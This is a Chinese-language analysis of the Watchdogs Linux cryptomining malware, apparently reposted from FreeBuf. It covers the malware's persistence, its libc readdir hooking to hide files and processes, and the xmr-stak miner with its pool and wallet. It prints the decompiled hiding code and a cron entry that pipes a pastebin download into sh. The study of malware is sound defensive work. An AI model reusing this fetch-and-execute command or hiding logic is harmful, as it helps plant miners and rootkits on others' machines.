Watch Dogs挖矿病毒分析

栏目: 编程工具 · 发布时间: 5年前

内容简介:*本文作者:郑斯碟@默安科技,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。昨晚针对最近两天出现的挖矿病毒进行了分析,由于太困,没有完善好paper就睡了,没想到第二天有人就已经发了一篇比较完善的分析报告了,一口老血差点吐了。不过,看了下他的分析报告,和我找的点基本差不多,不过其中有一些他没有说到,比如如何找到钱包地址,以及针对挖矿程序ksoftirqds的分析,他也没有说明,所以我在这里给一下我的分析过程。首先分析下watchdog程序。

*本文作者:郑斯碟@默安科技,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

昨晚针对最近两天出现的挖矿病毒进行了分析,由于太困,没有完善好paper就睡了,没想到第二天有人就已经发了一篇比较完善的分析报告了,一口老血差点吐了。不过,看了下他的分析报告,和我找的点基本差不多,不过其中有一些他没有说到,比如如何找到钱包地址,以及针对挖矿程序ksoftirqds的分析,他也没有说明,所以我在这里给一下我的分析过程。

0×1 Watchdogs程序

首先分析下watchdog程序。

由于程序使用golang编写的ida无法识别其中的符号信息,需要手动修复一下,可使用以下idapython脚本进行修复,修复后可还原一部分方法名。便于之后的分析。

脚本地址: https://rednaga.io/2016/09/21/reversing_go_binaries_like_a_pro

通过脚本还原符号,重命名了 3946 个方法。

下面分析主函数 main.main():

Main 函数中主要做的工作就是:

1. 将watchdogs这个进程设置为系统服务
2. 将libioset写入到/etc/ld.so.preload中
3. 将写入定时任务,远程下载挖矿文件
4. 启动ksoftirqds进程进行挖矿操作
5. 更新程序
6. 删除一些文件(watchdogs&ksoftirqds&config.json)

Watch Dogs挖矿病毒分析

下面是详细分析。

主要操作预览:

Watch Dogs挖矿病毒分析

这里是将watchdogs添加为系统服务:

Watch Dogs挖矿病毒分析

这里大概的意思是将libioset.so写入奥/etc/local/ld.so.preload:

Watch Dogs挖矿病毒分析

这里是写入配置信息到文件/tmp/config.json中:

Watch Dogs挖矿病毒分析

这里是写入定时任务:

Watch Dogs挖矿病毒分析

通过查看计划任务发现。

每15分钟执行一次下载操作:

Watch Dogs挖矿病毒分析

通过网页访问这个url发现其是一段base64加密的数据。

Base64解密后如下。

这里是检查更新:

Watch Dogs挖矿病毒分析

通过tcpdump进行协议抓包分析,发现有挖矿行为:

Watch Dogs挖矿病毒分析

通过htop进行进程分析,发现会启动以下的进程,cpu占用率极高:

Watch Dogs挖矿病毒分析

通过使用inotify监视bin目录,发现其删除了一个netstat命令:

Watch Dogs挖矿病毒分析

通过分析可知watchdogs可知程序执行过程中会释放watchdogs,config.json及ksoftirqds到tmp目录下。

下面我们来细细的分析下释放出来的挖矿木马程序ksoftirqds。

在watchdogs的中,对watchdos,config.json,ksoftrqds进行了删除操作:

Watch Dogs挖矿病毒分析

另外为了隐藏进程信息及相关的文件信息,该病毒也对对一些libc.so中的函数进行了重写,如readdir函数。

主要工作:

1、加载动态链接库libc.so

2、old_readdir =(__int64 (__fastcall *)(_QWORD))dlsym(libc, “readdir”);// 加载libc.so中的readdir函数,打开一个目录。

这里有一个do while statement:

do
  {
   v4 = old_readdir(a1);                       // 使用readdir打开一个目录
   if ( v4 )
    {
     if ( (unsigned int)get_dir_name(a1, &s1, 0x100uLL)// 调用getdirname
       && !strcmp(&s1, "/proc")
       && (unsigned int)get_process_name(v4 + 19, &v3)
       && !strcmp(&v3, "ksoftirqds") )
     {
       return 0LL;
     }
     if ( !strcmp(&v3, "watchdogs") )
       return 0LL;
    }
   if ( v4 && !strcmp((const char *)(v4 + 19), ".") )
     strcmp((const char *)(v4 + 19), "/");
  }
 while ( v4
      && (strstr((const char *)(v4 + 19), "ksoftirqds")// 判断ksoftirqds是否是v4+19这个地址中的字符串的子集
        || strstr((const char *)(v4 + 19),"ld.so.preload")
       || strstr((const char *)(v4 + 19), "libioset.so")) );

大致的意思是:

如果存在v4+19 地址上存在ksoftirqds,ld.so.preload,libioset.so,则检查指定目录:

是否存在ld.so.preload文件
是否存在ksoftirqds的信息
是否存在watchdog的信息

这里是重写了readir函数,作用是,如果程序使用了该函数执行后,结果中包含恶意应用名称及路径,则不返回相应结果,起到隐藏作用。

另外程序也对rmdir函数进行了重写,防止恶意程序的文件被删除。

这里是重写的函数列表:

Watch Dogs挖矿病毒分析

其中作者不仅在access中做了隐藏操作,进行了写入计划任务的操作:

这里是写入定时任务:

  s =fopen("/etc/cron.d/root", "w+");

if( s )

{

fwrite(

"*/10 * * * * root (curl -fsSL https://pastebin.com/raw/sByq0rym ||wget -q -O- https://pastebin.com/raw/sByq0rym )|sh\n##",

1uLL,

0x75uLL,

s);

fclose(s);

}

0×2 针对ksoftirqds的分析(挖矿)

如果我们想分析ksoftirqds的话,需要将tmp目录使用chattr +a /tmp命令锁住,这样可以防止这些文件被删除。

通过分析发现,这个木马文件也是用upx加壳的,我们使用upx工具执行:upx-d 即可脱壳。

下面使用ida进行源码分析。

首先使用ida的字符串检索功能,找到如下矿池地址:

Watch Dogs挖矿病毒分析

搜索xmr.f2pool.com,跟入并寻找引用位置。

找到了钱包钱包地址:

Watch Dogs挖矿病毒分析

它是在do_guided_pool_config这个函数中的,这里做矿池配置。

Main()->do_guided_pool_config()

通过分析该木马使用的是一款名叫xmr-stak的挖矿程序:

Watch Dogs挖矿病毒分析

它的项目地址地址在 https://github.com/fireice-uk/xmr-stak

Watch Dogs挖矿病毒分析

对象的github项目的特征位置:

Watch Dogs挖矿病毒分析

这款挖矿系统除了能够挖掘门罗币,还能够挖掘以下的虚拟货币:

Watch Dogs挖矿病毒分析

watchdogs 中写入定时任务,释放ksoftirqds进行挖矿,并每个15分钟检查更新。

ksofttirqds 程序主要是使用xmr-stak挖矿程序挖掘门罗币。

其矿池为:tcp://xmr.f2pool.com:13531

钱包地址为:46FtfupUcayUCqG7Xs7YHREgp4GW3CGvLN4aHiggaYd75WvHM74Tpg1FVEM8fFHFYDSabM3rPpNApEBY4Q4wcEMd3BM4Ava.tenx

*本文作者:郑斯碟@默安科技,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

MFC编程技巧与范例详解

MFC编程技巧与范例详解

曾凡锋、苗雨 / 清华大学出版社 / 2008-10 / 45.00元

本书集作者多年教学与软件开发经验,通过不同类型的实例详解向读者解读了如何使用MFC进行软件开发,并按实例的复杂度进行分级介绍,以满足不同层次读者的切实需要。. 本书共55个完整实例,均选自作者多年工程应用开发中的案例;内容共分14章,分别为MFC的基本概念、文档和视图、对话框、按钮控件、编辑控件、组合框控件、列表框控件、列表视图控件、树状视图控件、图像、多媒体、GDI与GDI+、网络编程、I......一起来看看 《MFC编程技巧与范例详解》 这本书的介绍吧!

在线进制转换器
在线进制转换器

各进制数互转换器

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具